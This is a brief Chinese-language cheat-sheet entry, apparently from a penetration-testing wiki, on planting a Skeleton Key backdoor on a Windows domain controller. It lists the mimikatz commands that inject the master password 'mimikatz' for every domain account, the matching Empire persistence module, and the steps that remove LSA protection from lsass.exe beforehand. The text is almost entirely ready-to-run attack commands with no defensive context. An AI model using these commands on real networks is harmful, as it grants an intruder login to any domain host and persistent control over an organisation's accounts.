域控上使用mimikatz执行 >privilege::debug >misc::skeleton
可以使用域内任何账号以密码mimikatz登录任意域内主机 使用Empire模块 >usemodule persistence/misc/skeleton_key* 绕过LSA Protection >privilege::debug >!+ >!processprotect /process:lsass.exe /remove >misc::skeleton
最后更新于2年前